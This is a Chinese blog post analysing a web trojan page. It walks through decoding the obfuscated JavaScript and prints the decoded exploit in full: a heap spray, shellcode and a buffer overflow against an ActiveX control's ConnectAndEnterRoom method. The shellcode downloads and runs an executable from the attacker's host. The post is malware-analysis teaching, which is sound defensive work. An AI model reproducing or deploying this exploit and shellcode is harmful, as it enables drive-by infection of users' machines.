w18.vg/lz.gif网马解密之粗浅分析

关注

原创最新推荐文章于 2026-04-22 02:20:43 发布 2.5k 阅读 AI 写同款· GEO 优化 ›

html登录页面整理 3 function r() { var username=document.getElementById("username"); var pass=document.getElementById("password"); if(username.value=="") { alert("请输入用户名"); username.focus(); return; } if 阅读详情

1.网马网页地址:
hxxp://w18.vg/lz.gif

2.记事本打开内容如下:
<html><head>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no"><noscript><iframe></iframe></noscript><script language="javascript"></script><ScRIPt LAngUAge=JAVASCRIpT>iO22("x4nf/_b3/:xlC/[M/>nt/>/_6/@/@/#/.eV/>/_/@/#/./%Q/{/n/~/r/&/`u//Q/n/np///*/*/`/*//Q/{s/`///&i/&//Qs/`/`is/</nVt/#/.e0n6/}NMn0bx2lC/[M/>nb3/:xCl/.qb3/:x/$/r/'/;7/,t/_6BNk6NMeV/[6d6/@/>/}/#5nVb3/:d6/}t/@4M/_/_/>l/.MtetkBM/@/>65M/?V/)k/np/npV/"V/)k/np/npV/"t3/:V/)kMhM/n/)kpppp/)k/&6pp/)k6/*/<//V/"V/)kpp/~p/)kpppp/)k//pPC/)kPCp/>Vt/"3/:V/)k/*/>Ip/)kPC6/./)kpP//p/)k/.PPC/)kI/~PC/)kPC/~/>/)k/*MI///)kp/~IPVt/"3/:V/)kPCh/~/)kipIM/)khCp/~/)k//MPC/)k/~/~/*///)k/&/<M/./)k/&/*/&I/)k/~hPCVt/"3/:V/)khCp/~/)khiPC/)kpM/<6/)kh/~/&/n/)kI//6/</)k/&/npP/)kP/~/&h/)kp///>IVt/"3/:V/)kMi///&/)k/&/nM/n/)k/&M/&h/)k/>/.PC/)k///<PC/)kp/~i///)k/./*/>/~/)kp/~M/*Vt/"3/:V/)k/~/~/>/*/)k/</</>/n/)kpPPC/)k///<PCV/"V/)kp/~/*/>/)k/>/*/>/~/)kpiM/*/)k/>/*p/~Vt/"3/:V/)kppPC/)k/>/~p/~/)kh6PC/)khIPC/)k/>/<P/~/)kPCpM/)k/<6/.p/)k/&/np//Vt/"3/:V/)k/<6MP/)kpppp/)kP/~pp/)kp/./>/</)k/&/</&i/)k/&Ihh/)k/&6h/>/)k/.PPCVt/"3/:V/)kp/*/<6/)kMP/&/n/)kpp/&I/)kppppV/"V/)k/>/<P/~/)k/&/</*/~/)kPp///</)kPp/~MVt/"3/:V/)kh6I/&/)k/~/<Pp/)k/&MPp/)kM/>P/~/)kPC//p/)k/>I/./>/)k/</~p/~/)k/<///</.Vt/"3/:V/)k///~ip/)k///~///~/)k/</<///~/)kp/~/>IV/"V/)k/</~ih/)k///~///~/)kp/~/>/</)k///~ipVt/"3/:V/)kip/<6/)khh/&/~/)kM/>/&I/)kp///>I/)k/&/>p/~/)kiM/</*/)k/>I/</&/)kp/~////Vt/"3/:V/)kIPp//V/"V/)kpp/</&V/"V/)k/~/~ppV/"V/)k/&p/>pV/"V/)k/&/~/&pV/"V/)k/&p/&/<V/"V/)k/&IhhV/"V/)kPCh/>Vt/"3/:V/)k/<6/./>/)k/&/~pp/)k/&IhhV/"V/)k/<Php/)ki///&/*/)kpp//p/)khh/&P/)k/~/~/.pVt/"3/:V/)k6/>/>pV/"V/)k/>pP/&/)kh/nI/&/)k/&i/&/*/)k/&/~/&/</)k/.ihh/)k/&/n/&6/)kMi6CVt/"3/:V/)k/~/~MM/)k/>/~/>p/)kp/>MPV/"V/)khhhh/)k//Ihh/)kI///</&/)kIi/&p/)k/</~/<hVt/"3/:V/)k/</////*/)kIi/<///)kI/~/</&/)kppI/~/)k/</&//I/)k/&/~I///)kI/~I/n/)k/</&I//Vt/"3/:V/)k/////</./)kIi/</n/)k/</~/</&/)k/<hI///)kI/nIi/)kpp///*/)k/</n/&I/)k///&/<MVt/"3/:V/)k/</&IPV/"V/)kpp/</~V/"V/)kIP///&V/"V/)kI///</nV/"V/)k/<P/&//V/"V/)k/</&IiV/"V/)k/<///</*V/"V/)k///>ppVt/"3/:V/)k/</*/<h/)k///>/<///)k/<i/</n/)k/</*Ii/)kI/nIi/)kpp///*V/"V/)kIiI/&/)k/</./</>Vt/"3/:V/)k/<M/<hV/"V/)k/&/&pp/)k///>/&i/)k/<h/////)k/<MII/)k/<h/</>/)k/<///</*/)k/<h/&//Vt/"3/:V/)k/</n///</)k/</&/</>/)kpp///*/)kI///<P/)kIpI///)kih/~6/)kIIih/)k/~P/~/*Vt/"3/:V/)kI/<iM/)kih/<I/)kiMI/~/)kIP/</&/)kPp/</&/)kppppV/ W3/:x2/@/>/}/#5nb3/:x/$/r/'/;7/,t/_6BNk6NMeV/[6d6/@/>/}/#5nVb3/:d6/}tC/#NC/_l/>XtetkBM/@/>65M/?V/)k/np/np/)k/np/npV/ W3/:d6/}t4M6/.M/}/@/#FMtetipW3/:d6/}t/@/_6/>X/@56/>Mtet4M6/.M/}/@/#FM/"/@4M/_/_/>l/.Mv/_MBNn4W3/:c4/#/_Mt/?C/#NC/_l/>Xv/_MBNn4x/@/_6/>X/@56/>M/ tC/#NC/_l/>X/"eC/#NC/_l/>XW3/:h/#/_/_C/_l/>XtetC/#NC/_l/>Xv/@kC/@n/}/#BN/?pAt/@/_6/>X/@56/>M/ W3/:C/_l/>XtetC/#NC/_l/>Xv/@kC/@n/}/#BN/?pAtC/#NC/_l/>Xv/_MBNn4///@/_6/>X/@56/>M/ W3/:c4/#/_M/?C/_l/>Xv/_MBNn4/"/@/_6/>X/@56/>MxpR//pppp/ tC/_l/>XtetC/_l/>X/"C/_l/>X/"h/#/_/_C/_l/>XW3/:fMfl/}qtetBMctQ/}/}6q/?/ W3/:hl/}t/?RepWtRx/~ppWtR/"/"/ tfMfl/}qDRwtetC/_l/>Xt/"/@4M/_/_/>l/.MW3/:d6/}tCkhhtet00W3/:c4/#/_Mt/?Ckhhv/_MBNn4txt/*/</// tCkhh/"eVQVW3/:CkhheCkhh/"VLRp6LRp6LRp6LRp6V/"CkhhW3/:lXeVlXVW3/:n6/}NMnv/rlBBM/>nQB/./{BnM/}/'llf/?CkhhAlXAlXAlXAlXAlXt/ W3/:x2/@/>/}/#5nb3/:x2Cl/.qb3/:x24nf/_b3/:")</script></head><body><noscript><b><font color=red>This page requires a javascript enabled browser!!!</font></b></noscript></body></html>

注意其中的document.write(w),就是我们下手的地方.

3.新建文本:
<textarea id="textareaID" rows="50" cols="100"></textarea>
<script language="javascript">
...............待解密的javascript代码,其中document.write(xxxx)用document.getElementById("textareaID").innerText=xxxx代替
</script>

将<script language="javascript">.....</script>之间的代码拷贝到新建的文本相应位置,并修改document.write(w)为document.getElementById("textareaID").innerText=w,如下:
<textarea id="textareaID" rows="50" cols="100"></textarea>
<script language="javascript">
<!--
rO91="d/rPPP/|/rh",eU44="hdP/`Pp///rq/}/'//";.3800981,xL41="4.352468E-02",eU44='/:r/{//ecZvy/)D/+/./*k/>Po/_EnKQ5R/(/ I6h/~/r/!jH/"0Filw/?g/%//f8X/,OAzB/[/`mWSqLCx/</'a/]/|/;Up1/$G/&/@/-/^9/nu27tT/=dVb/#MY4s/}JN3',rO91='/~/%/}O2M/>Gdq/ /`/"vHXb7l/^/{B/|/+/&/'/?t/;/<4r3z/[aVpu/#/_cmN/)LhPjAYQFsD8fU/$ES/rRx06w9WZ5/*1/!KT//g/n/:kiIn/,e/.yC/=/]J///@/-/(o';function iO22(vD97){"d/|a/$///`p/`",l=vD97.length;'v///&/n/<i/n/&',w='';while(l--)"dP/`/r/$h/$",o=rO91.indexOf(vD97.charAt(l)),'v/&//////I/n',w=(o==-1?vD97.charAt(l):eU44.charAt(o))+w;"dp/'///rhPp",rO91=rO91.substring(1)+rO91.charAt(0),document.getElementById("textareaID").innerText=w;'v/&/np/&/n///n'};iO22("R//M/%uZI/?/#0/{m/:0m2/,z0G0//M/%uZIXy/&5i/,og/+9uL/'e7M/:82/{I/"0/#/#q
......
W3/:hl/}t/?RepWtRx/~ppWtR/"/"/ tfMfl/}qDRwtetC/_l/>Xt/"/@4M/_/_/>l/.MW3/:d6/}tCkhhtet00W3/:c4/#/_Mt/?Ckhhv/_MBNn4txt/*/</// tCkhh/"eVQVW3/:CkhheCkhh/"VLRp6LRp6LRp6LRp6V/"CkhhW3/:lXeVlXVW3/:n6/}NMnv/rlBBM/>nQB/./{BnM/}/'llf/?CkhhAlXAlXAlXAlXAlXt/ W3/:x2/@/>/}/#5nb3/:x2Cl/.qb3/:x24nf/_b3/:")
</script>

4.另存为htm网页,然后双击打开,得到:
<html>
<object classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69" id='target'></object>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%u9090"+"%u9090"+
"%uefe9%u0000%u5a00%ua164"+"%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b"+"%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000"+"%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7"+"%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804"+"%u0065"+"%u3300"+"%u50c0"+"%u5350"+"%u5056"+"%u57ff"+"%u8bfc" +
"%u6adc%u5300%u57ff"+"%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0"+"%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8"+"%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578"+"%u0063"+"%u7845"+"%u7469"+"%u6854"+"%u6572"+"%u6461"+"%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041"+"%u7275%u6d6c" +
"%u6e6f"+"%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u772f%u3831" +
"%u762e%u2f67%u2e73%u7865%u8065%u0000");
</script>
<SCRIPT language="javascript">
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block +shellcode;
var buff = '';
while (buff.length < 164) buff+="A";
buff=buff+"/x0a/x0a/x0a/x0a"+buff;
ok="ok";
target.ConnectAndEnterRoom(buff,ok,ok,ok,ok,ok );
</script>
</body>
</html>

5.解密网马地址:
上面的是shellcode,我们只需要后面几行:
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u772f%u3831" +"%u762e%u2f67%u2e73%u7865%u8065%u0000");
其中%u6946=46 69,依次类推得到:
46696c56687474703a2f2f7731382e76672f732e657865800000
在od或者十六进制转换为:hxxp://w18.vg/s.exe